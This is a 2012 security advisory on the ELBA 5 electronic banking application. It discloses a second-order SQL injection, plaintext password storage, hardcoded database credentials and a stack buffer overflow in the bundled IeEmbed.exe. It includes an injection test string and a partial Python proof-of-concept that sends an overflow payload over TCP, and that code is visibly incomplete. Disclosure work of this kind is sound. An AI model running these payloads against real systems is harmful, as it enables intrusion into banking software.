ELBA 5 5.5.0 SQL Injection / Default Credentials

Type packetstorm
Reporter Kestutis Gudinavicius
Modified 2012-12-20T00:00:00


                                            `SEC Consult Vulnerability Lab Security Advisory < 20121220-0 >  
title: Multiple Vulnerabilities in ELBA5  
product: ELBA 5  
vulnerable version: 5.5.0 R00006 build 0796  
fixed version: 5.6.0 R3  
impact: Medium  
homepage: http://www.elba.at/  
found: 10.08.2012  
by: Kestutis Gudinavicius  
SEC Consult Vulnerability Lab   
Vendor description:  
ELBA electronic banking is a multi-user, multi-protocol banking application.  
For details, see http://www.elba.at.   
Vulnerability overview/description:  
1) Due to insufficient input validation, the application is vulnerable to a   
second order SQL injection. By exploiting a SQL injection vulnerability, an   
attacker could gain access to all records stored in the database.   
2) The ELBA application stores user passwords as plaintext in the database. If   
the database is compromized, for example, by exploiting a SQL injection   
vulnerability an attacker could retrieve unencrypted passwords and use them to   
take over user accounts.   
3) Stand-alone and network versions of ELBA5 use default credentials in order to   
connect to a database. Credentials cannot be changed, for example, by editing a   
configuration file, because they are hardcoded in the application. The installation   
guide does not mention a possibility of setting a custom password in order to   
connect to a database. An attacker can easily extract credentials from the   
publicly available versions of ELBA5 and use them against the legitimate systems   
running the vulnerable software.   
4) The application uses the Java Desktop Integration Components (JDIC) package   
to extend its functionality. The JDIC package contains the executable IeEmbed.exe,   
which is vulnerable to a stack based buffer overflow. An attacker is able to   
execute arbitrary code in the context of the user when sending a specially   
crafted packet to the locally accesible TCP port bound by the IeEmbed.exe. This   
vulnerability is highly severe in multi user environments such as Citrix - one   
terminal user can attack other terminal users.   
Proof of concept:  
1) A SQL injection payload that is injected in the name of the account group field   
during the creation of an account group is later used unescaped by some forms of   
the application. To test this issue, it is sufficient to add a new account group   
(Master Data -> More -> Account Groups) that contains a single quote character   
in its name e.g. "SQL_INJECTION'" and navigate to the Payments -> Finished   
orders or Payments -> Packed orders form. Selecting a newly created account   
group from the "Client account" drop-down list will result in a SQL syntax error   
The following output is an application debug message. It shows an affected SQL   
statement. Note that the parameter "kgruppe" contains unescaped value resulting in   
an invalid SQL query.   
ERROR [a1b95f8175cd4c2] DataSourceDB.handleThrowable: DB-Fehler aufgetreten -> fullContent:   
--- Message: current statement: SELECT a2.vfgid, bestand.bestNr, a1.zeichbed, bestand.uwkz, a2.zeichbed, a2.signnr, k.inhaber1, a1.signnr, bestand.sammler, bestand.anzahl, ebzsb.ebzid, edidoc.senden, bestand.vermerk, bestand.konto, a2.vfgname, a1.vfgname, bestand.umsvkn, bestand.status, rzkennung.rzkennung, edifile.edifilenr, aufart.zvart, a2.signstat, a1.signstat, bestand.summe, bestand.gwkz, a2.docnr, bestand.iban, bestand.kontoBez, a1.signkey, a1.docnr, a2.signkey, (select count(*) from aufkopf where bestand.bestnr = aufkopf.bestnr), bestand.blz, bestand.linRef, bestand.docNr, rzkennung.rzid, bestand.linNr, bestand.scode, COALESCE(edifile.vaxdat, edifile.senddat), rzkennung.bankbez, bestand.msgNr, bestand.wkz, a2.sign, a1.sign, bestand.kto, a1.vfgid, bestand.datArt, bestand.gvc, a1.vfgnr, bestand.matchcd, a2.vfgnr, bestand.art, bestand.dfDat, bestand.swift, bestand.kontrollwert  
FROM bestand   
join edimsg on bestand.docnr = edimsg.docnr and bestand.msgnr = edimsg.msgnr   
join aufart on bestand.art = aufart.art   
LEFT OUTER JOIN ( select zvk.konto, zvk.inhaber1, zvk.logicKto from ZVKONTO zvk union all select ek.konto, ek.inhaber, null from EXTKONTO ek) as k (konto, inhaber1, logicKto) on bestand.konto = k.konto   
join edidoc on edimsg.docnr = edidoc.docnr   
join rzkennung on edidoc.rzid = rzkennung.rzid   
left outer join edifile on edidoc.edifilenr = edifile.edifilenr   
left outer join autack a1 on edidoc.docnr = a1.adocnr and a1.vfgidx = 1   
left outer join autack a2 on edidoc.docnr = a2.adocnr and a2.vfgidx = 2   
left outer join ebzsb on edidoc.docnr = ebzsb.adocnr   
WHERE 1=1 AND   
edidoc.status in ( 15, 16, 11, 12, 13, 14 ) AND (   
coalesce(bestand.konto, 0) = 0 OR   
bestand.konto in ( select konto from BEDKTO where bediener = 3) ) AND   
(COALESCE(k.logicKto, k.konto) in (select konto from grpkto where kgruppe = 'SQL_INJECTION' '))   
ORDER BY bestand.docNr desc, bestand.msgNr, bestand.linNr---  
2) The unencrypted user credentials are stored in the database table BEDIENER,   
the affected column is PASSWORT.   
3) Despite the fact that some parts of the application are obfuscated it is   
relatively easy to extract hardcoded database credentials using a debugger. The   
following credentials were extracted and used to successfully connect to the   
remote ELBA5 databases:   
4) The component IeEmbed.exe is launched every time when a user navigates to, for   
example, Accounts -> Account overview form. The component starts listening on a   
random TCP port and binds to localhost. When parsing a data packet that is   
supposed to be converted to a HTTP POST request, the component IeEmbed.exe   
allocates a fixed size array to hold the HTTP headers, but fails to validate the   
user supplied data. By providing a large enough string (more than 2048 bytes)   
the stack buffer is overflowed. To test this vulnerability, a similar to the   
following data was sent to the TCP port that was opened by the component   
IeEmbed.exe. The value 2556364 was the handle of the arbitrary active window  
and the {A x 4096} value represents the 4096 bytes length string.   
0,6,http://localhost0,6,foo=bar0,6,AAAAAAAAAAAA...{A x 4096}...AAAAAAAA</html><body></html>  
A harmless proof of concept code (Python (2.x) is required) is provided below.   
Running it will result in a crash of the component IeEmbed.exe. Crash details   
can be analyzed using a debugger.  
import socket  
import sys  
def socket_read(sock):  
data = ''  
while True:  
buff = sock.recv(1024)  
except socket.timeout:  
data += buff  
if not buff: break  
return data  
if __name__ == '__main__':  
if len(sys.argv) != 3:  
print "Usage: ./%s <Target IP> <Port>" % sys.argv[0]  
host, port = sys.argv[1:]  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, int(port)))  
print '\n- Searching for the window handle\n'  
for i in xrange(65552,70000):   
pkt='0,1,%s</html><body></html>' % i  
print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))  
if data:  
print '\n- Sendind exploit payload\n'  
pkt='0,6,http://localhost0,6,foo=bar0,6,' + 'A' * 2087 + EIP + '</html><body></html>'  
print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))  
Vulnerable / tested versions:  
5.5.0 R00006 build 0796  
Vendor contact timeline:  
2012-09-04: Contacting vendor through software@racon-linz.at.  
2012-09-04: Vendor response: Issues will be investigated.  
2012-09-25: Vendor response: New release with fixes will be published on 03.12.2012  
2012-11-26: Vendor response: Release rescheduled to 17.12.2012  
2012-12-20: Public disclosure of advisory  
Upgrade to ELBA 5 5.6.0 R3  
Advisory URL:  
SEC Consult Unternehmensberatung GmbH  
Office Vienna  
Mooslackengasse 17  
A-1190 Vienna  
Tel.: +43 / 1 / 890 30 43 - 0  
Fax.: +43 / 1 / 890 30 43 - 25  
Mail: research at sec-consult dot com  
EOF K. Gudinavicius / @2012